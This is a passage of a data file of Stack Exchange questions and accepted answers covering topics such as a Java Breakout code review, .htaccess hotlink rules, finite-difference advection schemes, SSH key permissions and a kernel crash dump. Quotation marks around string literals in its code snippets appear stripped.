, "accepted_answer": "Designing DSL's is hard.So hard, that I suggest that you avoid it until you are compelled to create the DSL.My suggestion is this.Create a proper class hierarchy.Create pleasant, easy-to-use initializers and constants.  Get things to work as simple object construction.Later, after things work, and after you see what the DSL must express, consider designing a DSL.Some class Definitions.class  Task( object ):    passclass Optimizer( Task ):    def __init__( self, optimizer ):        passclass Simplex( object ):    def __init__( self, evaluator ):class Evaluator( object ):    def __init__( self, convergence ):         passclass MyEvaluatorTechnique( Evaluator ):    passA Configurationconfig = Optimizer(     Simplex(),     MyEvaluatorTechnique( convergence=0.001 ) )This avoids a lot of complexity of writing a parser and handling keywords.  Instead, you use the parser for another language (i.e. Python or Java or Lua or something)"  } 
{  "id": "_codereview.88022"  , "question": "Ive written a basic implementation of Breakout using Java 8 & Slick (~400 lines of code). Please let me know of any design/OOP improvements that can be made (any improvements in general are welcome, but Im specifically looking for design & OOP improvements).Game - the main classpackage breakout;import org.newdawn.slick.AppGameContainer;import org.newdawn.slick.GameContainer;import org.newdawn.slick.SlickException;import org.newdawn.slick.state.StateBasedGame;public class Game extends StateBasedGame{    public static final String gameName = Breakout!;    public static final int play = 0;    public static final int gameWon = 1;    public static final int gameOver = 2;    public static final int FRAME_HEIGHT = 500;    public static final int FRAME_WIDTH = 640;    public Game(String gameName){        super(gameName);        UserInfo userInfo = new UserInfo();        this.addState(new Play(userInfo));        this.addState(new GameWon(userInfo));        this.addState(new GameOver(userInfo));    }    @Override    public void initStatesList(GameContainer gc) {        try {            this.getState(play).init(gc, this);            this.enterState(play);        }catch(SlickException e){            e.printStackTrace();        }    }    public static void main(String[] args) {        // a game container that displays the game as a stand alone application        AppGameContainer appGC;        try{            appGC = new AppGameContainer(new Game(gameName), FRAME_WIDTH, FRAME_HEIGHT, false);            appGC.setVSync(true);   // sets FPS to screen's refresh rate            appGC.start();        }catch(SlickException e){            e.printStackTrace();        }    }}Ball class - sets the position and deals with collisions with brickspackage breakout;import org.newdawn.slick.Image;import org.newdawn.slick.SlickException;public class Ball implements Collision {    private Image image;    private int ballDiameter;    private int positionX = 450;    private int positionY = 250;    private int velocityX;    private int velocityY;    public Ball(String imageLocation) throws SlickException{        float scalingFactor = 0.06f;        image = new Image(imageLocation);        image = image.getScaledCopy((int) (scalingFactor * image.getWidth()), (int) (scalingFactor * image.getHeight()));        ballDiameter = image.getWidth();        velocityX = -3;        velocityY = 3;    }    public void move(){        positionX += velocityX;        positionY += velocityY;        collideWithVerticalWall();        collideWithHorizontalWall();    }    public void collide(Brick brick){        int tolerance = 3;        if(!brick.isDestroyed()) {            if (Collision.topSide(this, brick, tolerance) || Collision.bottomSide(this, brick, tolerance)) {                flipVelocityY();                brick.changeImage();            }            if (Collision.leftSide(this, brick, tolerance) || Collision.rightSide(this, brick, tolerance)) {                flipVelocityX();                brick.changeImage();            }        }    }    private void collideWithHorizontalWall(){        if(positionY <= 0){     // ignore this comment: || positionY >= Game.FRAME_HEIGHT - ballDiameter            flipVelocityY();        }    }    private void collideWithVerticalWall(){        if(positionX <= 0 || positionX >= Game.FRAME_WIDTH - ballDiameter){            flipVelocityX();        }    }    public void flipVelocityX(){        velocityX = -velocityX;    }    public void flipVelocityY(){        velocityY = -velocityY;    }    // GETTERS    @Override    public int getHeight(){        return ballDiameter;    }    public Image getImage(){        return image;    }    @Override    public int getPositionX(){        return positionX;    }    @Override    public int getPositionY(){        return positionY;    }    @Override    public int getWidth(){        return ballDiameter;    }}Brick class - contains the images and etc for each brickpackage breakout;import org.newdawn.slick.Image;import org.newdawn.slick.SlickException;import java.util.stream.IntStream;public class Brick implements Collision {    public static final String[] imageLocations = {res/brick_pink.png, res/brick_pink_cracked.png,            res/brick_transparent.png};    public static final int[] points = {0, 10, 20};    public static final int pointsPerBrick = IntStream.of(points).sum();    private Image[] images;    private int imageIndex = 0;    private int brickHeight;    private int brickWidth;    private int positionX;    private int positionY;    private UserInfo userInfo;    public Brick(String[] imageLocations, UserInfo userInfo, int positionX, int positionY) throws SlickException{        float scalingFactor = 0.25f;        images = new Image[imageLocations.length];        for(int i = 0; i < imageLocations.length; i++) {            images[i] = new Image(imageLocations[i]);            images[i] = images[i].getScaledCopy((int) (scalingFactor * images[i].getWidth()),                    (int) (scalingFactor * images[i].getHeight()));        }        brickHeight = images[imageIndex].getHeight();        brickWidth = images[imageIndex].getWidth();        this.userInfo = userInfo;        this.positionX = positionX;        this.positionY = positionY;    }    public void changeImage(){        if(imageIndex < images.length - 1) {            imageIndex++;            brickHeight = images[imageIndex].getHeight();            brickWidth = images[imageIndex].getWidth();            userInfo.incrementScore(points[imageIndex]);        }    }    public boolean isDestroyed(){        return imageIndex == images.length - 1;    }    // GETTERS    @Override    public int getHeight(){        return brickHeight;    }    public Image getImage(){        return images[imageIndex];    }    @Override    public int getPositionX(){        return positionX;    }    @Override    public int getPositionY(){        return positionY;    }    @Override    public int getWidth(){        return brickWidth;    }}Collision interface - interface that determines whether objects collide (contains default methods)package breakout;// Deals with the collisions in this game. Any class that implements this interface have objects that are Collidable// and can therefore use these methods.public interface Collision {    // TODO need to neaten these conditions up. Not sure how.    static boolean bottomSide(Collision self, Collision other, int tolerance){        // tolerance is included as the ball's velocity is 3, so the ball may not exactly touch the paddle when it        // reaches it because it's moving in increments of 3.        return other.getPositionX() + other.getWidth() >= self.getPositionX()                && other.getPositionX() <= self.getPositionX() + self.getWidth()                && other.getPositionY() <= self.getPositionY() + self.getHeight()                && other.getPositionY() >= self.getPositionY() + self.getHeight() - tolerance;    }    static boolean leftSide(Collision self, Collision other, int tolerance){        return other.getPositionY() + other.getHeight() >= self.getPositionY()                && other.getPositionY() <= self.getPositionY() + self.getHeight()                && other.getPositionX() + other.getWidth() >= self.getPositionX()                && other.getPositionX() + other.getWidth() <= self.getPositionX() + tolerance;    }    static boolean rightSide(Collision self, Collision other, int tolerance){        return other.getPositionY() + other.getHeight() >= self.getPositionY()                && other.getPositionY() <= self.getPositionY() + self.getHeight()                && other.getPositionX() <= self.getPositionX() + self.getWidth()                && other.getPositionX() >= self.getPositionX() + self.getWidth() - tolerance;    }    static boolean topSide(Collision self, Collision other, int tolerance){        return other.getPositionX() + other.getWidth() >= self.getPositionX()                && other.getPositionX() <= self.getPositionX() + self.getWidth()                && other.getPositionY() + other.getHeight() >= self.getPositionY()                && other.getPositionY() + other.getHeight() <= self.getPositionY() + tolerance;    }    // GETTERS    int getPositionX();    int getPositionY();    int getWidth();    int getHeight();}GameWon class - game state that tells the user that they've completed the levelpackage breakout;import org.newdawn.slick.GameContainer;import org.newdawn.slick.Graphics;import org.newdawn.slick.Image;import org.newdawn.slick.SlickException;import org.newdawn.slick.state.BasicGameState;import org.newdawn.slick.state.StateBasedGame;public class GameWon extends BasicGameState {    private UserInfo userInfo;    public GameWon(UserInfo userInfo){        this.userInfo = userInfo;    }    @Override    public int getID(){        return Game.gameWon;    }    @Override    public void init(GameContainer gc, StateBasedGame sbg){    }    @Override    public void render(GameContainer gc, StateBasedGame sbg, Graphics g) {        try{            Image backgroundImage = new Image(res/background.jpg);            g.drawImage(backgroundImage, 0, 0);            g.drawString(Well done, you completed the game! Your score:  + userInfo.getScore(), 100, 100);        }catch(SlickException e){            e.printStackTrace();        }    }    @Override    public void update(GameContainer gc, StateBasedGame sbg, int delta){    }}GameOver class - game state that tells the user their score after not being able to complete the levelpackage breakout;import org.newdawn.slick.GameContainer;import org.newdawn.slick.Graphics;import org.newdawn.slick.Image;import org.newdawn.slick.SlickException;import org.newdawn.slick.state.BasicGameState;import org.newdawn.slick.state.StateBasedGame;public class GameOver extends BasicGameState {    private UserInfo userInfo;    public GameOver(UserInfo userInfo){        this.userInfo = userInfo;    }    @Override    public int getID(){        return Game.gameOver;    }    @Override    public void init(GameContainer gc, StateBasedGame sbg){    }    @Override    public void render(GameContainer gc, StateBasedGame sbg, Graphics g) {        try{            Image backgroundImage = new Image(res/background.jpg);            g.drawImage(backgroundImage, 0, 0);            g.drawString(Game over. Your score:  + userInfo.getScore(), 150, 100);        }catch(SlickException e){            e.printStackTrace();        }    }    @Override    public void update(GameContainer gc, StateBasedGame sbg, int delta){    }}Paddle class - contains all the methods and etc to do with the paddlepackage breakout;import org.newdawn.slick.Image;import org.newdawn.slick.Input;import org.newdawn.slick.SlickException;public class Paddle implements Collision {    private Image image;    private int paddleHeight;    private int paddleWidth;    private int positionX;    private int positionY;    private int velocity = 3;    public Paddle(String imageLocation) throws SlickException{        double scalingFactor = 0.2;        this.image = new Image(imageLocation);        image = image.getScaledCopy((int) (scalingFactor * image.getWidth()), (int) (scalingFactor * image.getHeight()));        paddleHeight = image.getHeight();        paddleWidth = image.getWidth();        positionX = (Game.FRAME_WIDTH - image.getWidth()) / 2;        positionY = Game.FRAME_HEIGHT - image.getHeight();    }    public void collide(Ball ball){        int tolerance = 3;        // collide with top side        if(Collision.topSide(this, ball, tolerance) || Collision.bottomSide(this, ball, tolerance)){            ball.flipVelocityY();        }        // collide with left or right side        if(Collision.leftSide(this, ball, tolerance) || Collision.rightSide(this, ball, tolerance)){            ball.flipVelocityX();        }    }    public void move(Input input){        // Prevents paddle from moving outside of the frame        if(getPositionX() > 0) {            moveLeft(input);        }        if (getPositionX() < Game.FRAME_WIDTH - paddleWidth){            moveRight(input);        }    }    private void moveLeft(Input input){        if(input.isKeyDown(Input.KEY_LEFT)){            adjustPositionX(-velocity);        }    }    private void moveRight(Input input){        if(input.isKeyDown(Input.KEY_RIGHT)){            adjustPositionX(velocity);        }    }    // GETTERS    @Override    public int getHeight(){        return paddleHeight;    }    public Image getImage(){        return image;    }    @Override    public int getPositionX(){        return positionX;    }    @Override    public int getPositionY(){        return positionY;    }    @Override    public int getWidth(){        return paddleWidth;    }    // SETTERS    public void adjustPositionX(float delta){        positionX += delta;    }}Play class - game state when the user is playing the levelpackage breakout;import org.newdawn.slick.GameContainer;import org.newdawn.slick.Graphics;import org.newdawn.slick.Image;import org.newdawn.slick.Input;import org.newdawn.slick.SlickException;import org.newdawn.slick.state.BasicGameState;import org.newdawn.slick.state.StateBasedGame;public class Play extends BasicGameState{    private Image backgroundImage;    private UserInfo userInfo;    private Paddle paddle;    private Ball ball;    private Brick[] bricks;    private int numBricks = 3;    public Play(UserInfo userInfo){        this.userInfo = userInfo;    }    @Override    public int getID(){        return Game.play;    }    @Override    public void init(GameContainer gc, StateBasedGame sbg){        bricks = new Brick[numBricks];        try{            backgroundImage = new Image(res/background.jpg);            paddle = new Paddle(res/bat_yellow.png);            ball = new Ball(res/ball_red.png);            for(int i = 0; i < bricks.length; i++) {                // the maths here is used to position the bricks in rows of 10                bricks[i] = new Brick(Brick.imageLocations, userInfo, (i % 10) * 60 + 20, ((i / 10) + 1) * 40);            }        } catch(SlickException e){            e.printStackTrace();        }    }    @Override    public void render(GameContainer gc, StateBasedGame sbg, Graphics g){        g.drawImage(backgroundImage, 0, 0);        g.drawImage(paddle.getImage(), paddle.getPositionX(), paddle.getPositionY());        g.drawImage(ball.getImage(), ball.getPositionX(), ball.getPositionY());        for(Brick brick : bricks) {            g.drawImage(brick.getImage(), brick.getPositionX(), brick.getPositionY());        }        g.drawString(Score:  + userInfo.getScore(), 520, 10);    }    @Override    public void update(GameContainer gc, StateBasedGame sbg, int delta){        Input input = gc.getInput();        paddle.move(input);        ball.move();        paddle.collide(ball);        for(Brick brick : bricks) {            ball.collide(brick);        }        // Player loses when ball goes out of screen        if(ball.getPositionY() > Game.FRAME_HEIGHT){            sbg.enterState(Game.gameOver);        }        // Player wins when all bricks have been destroyed        if(userInfo.getScore() == numBricks * Brick.pointsPerBrick){            sbg.enterState(Game.gameWon);        }    }}UserInfo class - a class that contains info about the user's game (currently only contains the score)package breakout;public class UserInfo {    private int score;    // GETTERS    public int getScore(){        return score;    }    // SETTERS    public synchronized void incrementScore(int value){        score += value;    }}"  , "title": "Breakout game using Java 8 & Slick"  , "tags": "java;object oriented;game"  , "accepted_answer": "In Game:public static final int play = 0;public static final int gameWon = 1;public static final int gameOver = 2;Use an enum for this.In Block:public boolean isDestroyed(){    return imageIndex == images.length - 1;}Don't abuse state variables. If you have fire blocks that need to loop through an animation, this will give you the strangest of bugs. Store something like health or hitsRemaining to keep track of destruction progress.public interface Collision {That's a naming violation. Interfaces shouldn't be nouns. This is a thing, not a capability. Try Collidable (Although your spellchecker will tell you it's not a word... it might be). This naming thing really tripped me up.static boolean bottomSide(Collision self, Collision other, int tolerance){    // tolerance is included as the ball's velocity is 3, so the ball may not exactly touch the paddle when it    // reaches it because it's moving in increments of 3.    return other.getPositionX() + other.getWidth() >= self.getPositionX()            && other.getPositionX() <= self.getPositionX() + self.getWidth()            && other.getPositionY() <= self.getPositionY() + self.getHeight()            && other.getPositionY() >= self.getPositionY() + self.getHeight() - tolerance;}static boolean leftSide(Collision self, Collision other, int tolerance){    return other.getPositionY() + other.getHeight() >= self.getPositionY()            && other.getPositionY() <= self.getPositionY() + self.getHeight()            && other.getPositionX() + other.getWidth() >= self.getPositionX()            && other.getPositionX() + other.getWidth() <= self.getPositionX() + tolerance;}static boolean rightSide(Collision self, Collision other, int tolerance){    return other.getPositionY() + other.getHeight() >= self.getPositionY()            && other.getPositionY() <= self.getPositionY() + self.getHeight()            && other.getPositionX() <= self.getPositionX() + self.getWidth()            && other.getPositionX() >= self.getPositionX() + self.getWidth() - tolerance;}static boolean topSide(Collision self, Collision other, int tolerance){    return other.getPositionX() + other.getWidth() >= self.getPositionX()            && other.getPositionX() <= self.getPositionX() + self.getWidth()            && other.getPositionY() + other.getHeight() >= self.getPositionY()            && other.getPositionY() + other.getHeight() <= self.getPositionY() + tolerance;}Hmm.Have you considered defining these functions?int getTopY();int getBottomY();int getLeftX();int getRightX();Also... you're dealing with rectangles here. That's a very big assumption to make - keep that in mind, or you'll have circles colliding blocks they clearly went past.In Paddle:public class Paddle implements Collision {    private Image image;    private int paddleHeight;    private int paddleWidth;Paddle.paddleHeight is redundant. Use Paddle.height instead. There are a few exceptions, but most of the time you should strip the class name if it's in front of a variable. One of those exceptions would be Line.lineNumber if you had a parser of some sort - Line.number would be too arbitrary.public void move(Input input){    // Prevents paddle from moving outside of the frame    if(getPositionX() > 0) {        moveLeft(input);    }    if (getPositionX() < Game.FRAME_WIDTH - paddleWidth){        moveRight(input);    }}private void moveLeft(Input input){    if(input.isKeyDown(Input.KEY_LEFT)){        adjustPositionX(-velocity);    }}private void moveRight(Input input){    if(input.isKeyDown(Input.KEY_RIGHT)){        adjustPositionX(velocity);    }}Flip your functions around. Perform the keyboard checks in move, and the boundary checks in moveLeft and moveRight. Then you don't have to pass Input around.In Play:    for(Brick brick : bricks) {        ball.collide(brick);    }Function naming, again. To me this reads as Ball (moves to collide or) collides with brick. It's not. It's a hitTest that, if hits, handles collisions. Consider finding a better name for this function. I don't have any suggestions since this function is doing two things (checking collision and handling the aftermath), but splitting it up seems like it would require to do the collision testing twice, which seems like a shame.    // Player wins when all bricks have been destroyed    if(userInfo.getScore() == numBricks * Brick.pointsPerBrick){Contrast this snippet:private boolean checkPlayerWon(){    for(Brick b : bricks){        if(!b.isDestroyed()){            return false;        }    }    return true;}This way you actually check if all the blocks are destroyed, rather than tie up your scoring mechanics for a victory condition."  } 
{  "id": "_unix.335416"  , "question": "I need to transfer files from remote FTP server to my unix server. Usually, I transfer using:scp -r 'remote@x.x.x.x:/remote-path' '/local'the problem now is that this server uses ACTIVE and I think that's the reason why SCP is not backing up the files. To be honest I am not familiar with ACTIVE type connection and I cannot find anything in the manual about this type of connection.Is it possible to use SCP to transfer files on ACTIVE FTP?"  , "title": "using SCP for active/port type connection?"  , "tags": "ubuntu;scp"  , "accepted_answer": "scp and ftp are two different protocols. If you have ssh access to the server, it doesn't matter what mode ftp is. Just use scp as you normally would.If you don't have ssh access, the answer is no, you cannot use scp if you don't have access via ssh to the remote machine."  } 
{  "id": "_scicomp.7278"  , "question": "Following on from the earlier question I am trying to derive a finite-difference scheme for the advection equation which is conservative. It was suggested that for advection equation with variable velocity,$$\\frac{\\partial u}{\\partial x} + \\frac{\\partial}{\\partial x}\\left( \\boldsymbol{v}(x)u\\right) = 0$$that the chain rule should not be applied if conservation is required because the flux of $u$ is the fundamental quantity.The product $\\boldsymbol{v}(x)u$ is not conservative transport if $\\boldsymbol{v}(x)$ is not divergence-free (i.e., constant in 1D). You should stick with the conservative form and resist the urge to apply the chain rule when evaluating conservation properties.Question Is the following a reasonable approach for discretization?I have kept the flux together (i.e the product $\\boldsymbol{v}_ju_j$) while applying the discretization. However to write as a matrix equation where $u_j$ is the unknown they eventually must be separated.I have a slight concern that this is incorrect because the only difference between the constant velocity case and the varying velocity case is that that $\\boldsymbol{v}$ becomes a vector.If we applied the chain rule we could get exactly the same equation but with the additional $u \\frac{\\partial\\boldsymbol{v(x)}}{\\partial x}$ term which is treated as a source term.For example, if we apply Crank-Nicolson scheme to the advection equation,$$\\frac{u_{j}^{n+1} - u_{j}^{n}}{\\Delta t} + \\left[ \\frac{1-\\beta}{2\\Delta x} \\left( \\boldsymbol{v}_{j+1}^{n}  u_{j+1}^{n} - \\boldsymbol{v}_{j-1}^{n} u_{j-1}^{n} \\right) + \\frac{\\beta}{2\\Delta x} \\left( \\boldsymbol{v}_{j+1}^{n+1} u_{j+1}^{n+1} - \\boldsymbol{v}_{j-1}^{n+1} u_{j-1}^{n+1} \\right) \\right] = 0$$Using the following substitution,$$ \\boldsymbol{r}_j^n = \\frac{\\boldsymbol{v}_j^n}{2}\\frac{\\Delta t}{\\Delta x}$$and move the $n+1$ terms to the l.h.s gives,$$u_{j}^{n+1} + \\beta\\boldsymbol{r}_{j+1}^{n+1} u_{j+1}^{n+1} - \\beta\\boldsymbol{r}_{j-1}^{n+1} u_{j-1}^{n+1}  = u_{j}^{n} - (1-\\beta)\\boldsymbol{r}_{j+1}^{n}  u_{j+1}^{n} + (1-\\beta)\\boldsymbol{r}_{j-1}^{n} u_{j-1}^{n} $$We can write this as the matrix equation,$$    \\begin{pmatrix}      1      & \\beta r_2^{n+1}  &         &        0  \\\\      -\\beta r_1^{n+1} & 1   & \\beta r_3^{n+1} &            \\\\                 &  \\ddots     &   \\ddots    & \\ddots   \\\\      & -\\beta r_{J-2}^{n+1} & 1  & \\beta r_J^{n+1} \\\\                 0      &          & -\\beta r_{J-1}^{n+1} & 1    \\\\   \\end{pmatrix}   \\begin{pmatrix}    u_{1}^{n+1} \\\\ u_{2}^{n+1} \\\\ \\vdots \\\\ u_{J-1}^{n+1} \\\\ u_{J}^{n+1}   \\end{pmatrix} =    \\begin{pmatrix}      1  & -(1 - \\beta)r_2^n    &           &        0    \\\\      (1 - \\beta) r_1^n & 1    & -(1 - \\beta)r_3^n    &             \\\\                     &  \\ddots       &   \\ddots      & \\ddots    \\\\          & (1 - \\beta) r_{J-2}^n  & 1   & -(1 - \\beta)r_J^n \\\\                 0          &            & (1 - \\beta) r_{J-1}^n  & 1  \\\\   \\end{pmatrix}   \\begin{pmatrix}    u_{1}^{n} \\\\ u_{2}^{n} \\\\ \\vdots \\\\ u_{J-1}^{n} \\\\ u_{J}^{n}   \\end{pmatrix}$$Update I Corrected a sign error suggested by @Geoff-Oxberry."  , "title": "Conservative finite-difference expression for the advection equation"  , "tags": "finite difference;hyperbolic pde;advection"  , "accepted_answer": "In 1-D, the first discretization you've presented is correct. The matrix equation does not look right, though. For starters, it's not clear what your boundary conditions would be or how you would incorporate them.In $N$ dimensions, the advection equation looks like\\begin{align}\\frac{\\partial{u}}{\\partial{t}} + \\sum_{i=1}^{N}\\frac{\\partial}{\\partial{x^{i}}}(v^{i} u) &= 0,\\end{align}adopting the convention that superscripts refer to components of vectors; you would discretize this equation in similar fashion to the 1-D case.If $v$ (or in $N$-D, $\\mathbf{v}$) is a known function of $x$ (respectively, $\\mathbf{x}$), then the values $v_{j}$ (resp., $\\mathbf{v}_{j}$) become coefficients for the various $u_{j}$ terms in the discrete equation."  } 
{  "id": "_webapps.4724"  , "question": "What are the online tools available for managing conference/journal papers, articles and books?I am looking for features like export to IEEE reference style, BibTex style, etc;"  , "title": "Online BibTex References"  , "tags": "webapp rec"  } 
{  "id": "_webapps.87064"  , "question": "So I finished a bunch of work offline, and then I synced it... and it did not go well after:It merged without deleting a bunch of parts as you can see there, and Page 7 is gone completely:The errors are just annoying, but losing that entire page is really frustrating. I want to see if I can find the old version still sitting on my computer. Any ideas?"  , "title": "Google Drive Synced with Errors. On Ubuntu, can I recover my offline version of the file before it synced?"  , "tags": "google drive;google documents;google chrome;linux"  } 
{  "id": "_webmaster.83503"  , "question": "I got a problem regarding setting my server settings so that my files can't be accessed from people linking directly to the files, but can when they click a link on my website to open the file.I tried this:RewriteCond %{HTTP_REFERER} !^http://19.24.3.13/~child/ [NC] RewriteCond %{HTTP_REFERER} !^http://19.24.3.13/~child/.*$ [NC] RewriteRule \\.(pdf|doc|docx)$ /~child/ [L]Problem is, when I want to open these files via my website, I get an error, because the link to the file is a direct link, something I wanted to prevent.So to counter this, I need to let through the referrals from my own website. I tried this:SetEnvIf Referer ^http://19.24.3.13/~child/.*$ legit_referalSetEnvIf Referer ^$ legit_referal<LocationMatch \\.(pdf|doc|doxc)$ >   Order Deny,Allow   Deny from all   Allow from env=legit_referal</LocationMatch>But with no success. I get a server 500 error if I try to access it.As you can see I use ip-adresses, because I have no domain name, only the ip.Can someone point me in the right direction?"  , "title": "Restrict access to certain files but not when linked from my own website"  , "tags": "htaccess;referrer"  , "accepted_answer": "Problem is, when I want to open these files via my website, I get an error, because the link to the file is a direct linkAn ordinary link on your website is not a direct link. If the browser is sending any referer at all then when a user clicks a link on your website then the referer is your website. If you are not getting a referer header in this instance then something else is going on.However, you probably do need to allow an empty referer for when user's browsers don't send the HTTP referer header (for whatever reason). For example, when users type the URL directly in their browser (this is a direct link), or simply hit the reload button - presumably you do want to allow this? If you don't allow this then it is possible that some legitimate users might have problems accessing your files.Your first example looks pretty much OK, except that http://19.24.3.13/~child/ looks a bit weird (this looks like the temporary URL that some shared hosts supply before the domain resolves?). However, the following should work:RewriteCond %{HTTP_REFERER} !^$RewriteCond %{HTTP_REFERER} !^http://19\\.24\\.3\\.13RewriteRule \\.(pdf|docx?)$ - [F]The above will return a 403 Forbidden for PDF, DOC and DOCX URLs when the HTTP referer is not empty AND not the current host. Note that this allows direct requests (when the HTTP Referer is empty). If you wish to prevent direct requests then omit the first RewriteCond directive.Your second code block results in a 500 Internal Server Error because LocationMatch is not permitted in .htaccess files. You need the Files directive.UPDATE: I'd previously included %{HTTP_HOST} in the condPattern (2nd argument to the RewriteCond directive) - that was a stupid mistake! Server variables are not evaluated in the CondPattern (a regex) so would have matched the literal string %{HTTP_HOST}! Which would never happen, so the condition (a negative match) would always have succeeded and the request would always be blocked!"  } 
{  "id": "_webapps.84718"  , "question": "Often when I'm browsing my google docs in Chrome, I find that I want to open the same folder in the Mac OS X Finder so that I can edit one of the native documents. Right now I'm forced to open my root Google Drive folder and then browse the same folder. How can I do this more quickly, directly to the right folder?"  , "title": "How do I open a selected folder in Google Docs in the Mac Finder?"  , "tags": "google drive;google documents;mac"  } 
{  "id": "_unix.193655"  , "question": "I recently setup OpenVPN on a CentOS 6 machine. The setup went smooth and I can connect to it fine from a client computer when both computers are on the same network.I wanted to know how to make the connection when the client computer is on a different network at a different location.At the moment I am getting the following error on the client side's logTue Mar 31 19:20:14 2015 OpenVPN 2.3.6 x86_64-w64-mingw32 [SSL (OpenSSL)] [LZO] [PKCS11] [IPv6] built on Mar 19 2015Tue Mar 31 19:20:14 2015 library versions: OpenSSL 1.0.1m 19 Mar 2015, LZO 2.08Enter Management Password:Tue Mar 31 19:20:14 2015 MANAGEMENT: TCP Socket listening on [AF_INET]127.0.0.1:25340Tue Mar 31 19:20:14 2015 Need hold release from management interface, waiting...Tue Mar 31 19:20:14 2015 MANAGEMENT: Client connected from [AF_INET]127.0.0.1:25340Tue Mar 31 19:20:15 2015 MANAGEMENT: CMD 'state on'Tue Mar 31 19:20:15 2015 MANAGEMENT: CMD 'log all on'Tue Mar 31 19:20:15 2015 MANAGEMENT: CMD 'hold off'Tue Mar 31 19:20:15 2015 MANAGEMENT: CMD 'hold release'Tue Mar 31 19:20:15 2015 Socket Buffers: R=[8192->8192] S=[8192->8192]Tue Mar 31 19:20:15 2015 UDPv4 link local: [undef]Tue Mar 31 19:20:15 2015 UDPv4 link remote: [AF_INET]192.168.20.17:1194Tue Mar 31 19:20:15 2015 MANAGEMENT: >STATE:1427822415,WAIT,,,Tue Mar 31 19:21:15 2015 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)Tue Mar 31 19:21:15 2015 TLS Error: TLS handshake failedTue Mar 31 19:21:15 2015 SIGUSR1[soft,tls-error] received, process restartingTue Mar 31 19:21:15 2015 MANAGEMENT: >STATE:1427822475,RECONNECTING,tls-error,,Tue Mar 31 19:21:15 2015 Restart pause, 2 second(s)The iptables is stopped so I'm not sure how to make the OpenVPN server accessable from outside the local network"  , "title": "OpenVPN Connect from a Different Network"  , "tags": "remote;openvpn;troubleshooting"  } 
{  "id": "_unix.257590"  , "question": "I need to use SSH on my machine to access my website and its databases (setting up a symbolic link- but I digress).Following problem: I enter the command: ssh-keygen -t dsaTo generate public/private dsa key pair. I save it in the default (/home/user/.ssh/id_dsa): And enter Enter passphrase twicethen I get this back: WARNING: UNPROTECTED PRIVATE KEY FILE!  Permissions 0755 for '/home/etc.ssh/id_rsa' are too open. It is recommended that your private key files are NOT accessible by others. This private key will be ignored. bad permissions: ignore key: [then the FILE PATH in VAR/LIB/SOMEWHERE]Now to work round this I then tried-sudo chmod 600 ~/.ssh/id_rsa         sudo chmod 600 ~/.ssh/id_rsa.pub    But shortly after my computer froze up- and on logging back on there was a could not find .ICEauthority error. I got round this problem- and deleted the SSH files but want to be able to use the correct permissions to avoid these issues in future. How should I set up ICEauthority, or where should I save the SSH Keys- or what permissions should they have? Would using a virtual machine be best?This is all very new and I am on a very steep learning curve, so any help appreciated."  , "title": "SSH Key Permissions Chmod settings?"  , "tags": "ssh;chmod"  } 
{  "id": "_codereview.173055"  , "question": "I have a list of palindromes List<string> palindromes = new List<string>() {    hijkllkjih,    ijkllkji,    jkllkj,    kllk,    ll,    defggfed,    efggfe,    fggf,    gg,    abccba,     bccb,    cc,    qrrq,     rr,    mnnm,     nn,    pop,     o,    s,     q,    r};But I want to remove palindromes that are substring of other palindromes. So, the list would becomeList<string> palindromes = new List<string>() {    hijkllkjih,    defggfed,    abccba,     qrrq,     mnnm,     pop,     s,     q,    r};To do this I have written the following code List<int> indexList = new List<int>();for (int i = 0; i < palindromes.Count; ++i){    if (indexList.Contains(i))        continue;    string tmp = palindromes[i];    for (int j = 0; j < palindromes.Count; ++j)    {        if (i == j             || indexList.Contains(j)             || palindromes[j].Length > palindromes[i].Length)            continue;        if (tmp.Contains(palindromes[j]))            indexList.Add(j);    }}foreach (var index in indexList.OrderByDescending(l => l))    palindromes.RemoveAt(index);Can this be improved? "  , "title": "Removing Substrings from List"  , "tags": "c#"  , "accepted_answer": "You can simplify your code to this:var palindromesCopy = palindromes.ToList();palindromes.RemoveAll(x => palindromesCopy.Any(y => x != y &&                                               y.Contains(x)));If you want to remove duplicated strings as said by @MoonKnight in comments, just call Distinct on palindromes after removing."  } 
{  "id": "_unix.94109"  , "question": "I am running Linux Mint 13, with a KDE 4 desktop manager. I would like to launch applications from a terminal (konsole in my specific case) and setting the exact size of the window and the location of the window. As an example, if I launch Kate and Chromium from a terminal, I want Kate's window the cover the left-half of my screen and I want Chromium to cover the upper-right quarter of my screen.How can I accomplish this?ps: I have a 15.6 screen set to a 1920x1080 resolution."  , "title": "Launching applications from a terminal with specific window size and location"  , "tags": "kde;chrome;window management;window geometry"  } 
{  "id": "_unix.303528"  , "question": "My server is crashing every two days around early afternoon.  I've tried overloading the server with CPU intensive programs but that does not cause it to crash so I believe it to be a certain program or configuration.   being run that is causing it.  I've downloaded crash and tried doing some simple commands on it but I'm not sure what it is outputting.[root@resh boot]# crash /usr/lib/debug/lib/modules/2.6.32-642.1.1.el6.x86_64/vmlinux /var/crash/127.0.0.1-2016-08-02-09\\:12\\:20/vmcoreKERNEL: /usr/lib/debug/lib/modules/2.6.32-642.1.1.el6.x86_64/vmlinuxDUMPFILE: /var/crash/127.0.0.1-2016-08-02-09:12:20/vmcore  [PARTIAL DUMP]CPUS: 32DATE: Tue Aug  2 09:09:29 2016UPTIME: 12:47:24LOAD AVERAGE: 4.78, 4.66, 4.55TASKS: 998NODENAME: resh.cluster.orgRELEASE: 2.6.32-642.1.1.el6.x86_64VERSION: #1 SMP Tue May 31 21:57:07 UTC 2016MACHINE: x86_64  (2294 Mhz)MEMORY: 31.8 GBPANIC: BUG: unable to handle kernel NULL pointer dereference at 0000000000000002PID: 42993COMMAND: kslowd002TASK: ffff88040d88d520  [THREAD_INFO: ffff880100000000]CPU: 7STATE: TASK_RUNNING (PANIC)crash> btPID: 42993  TASK: ffff88040d88d520  CPU: 7   COMMAND: kslowd002#0 [ffff8801000039c0] machine_kexec at ffffffff8103fdcb#1 [ffff880100003a20] crash_kexec at ffffffff810d1fe2#2 [ffff880100003af0] oops_end at ffffffff8154bd00#3 [ffff880100003b20] no_context at ffffffff810518cb#4 [ffff880100003b70] __bad_area_nosemaphore at ffffffff81051b55#5 [ffff880100003bc0] bad_area_nosemaphore at ffffffff81051c23#6 [ffff880100003bd0] __do_page_fault at ffffffff8105231c#7 [ffff880100003cf0] do_page_fault at ffffffff8154dc8e#8 [ffff880100003d20] page_fault at ffffffff8154af95[exception RIP: unknown or invalid address]RIP: 0000000000000002  RSP: ffff880100003dd8  RFLAGS: 00010202RAX: ffffffffa0465a80  RBX: ffff8801bc7da200  RCX: 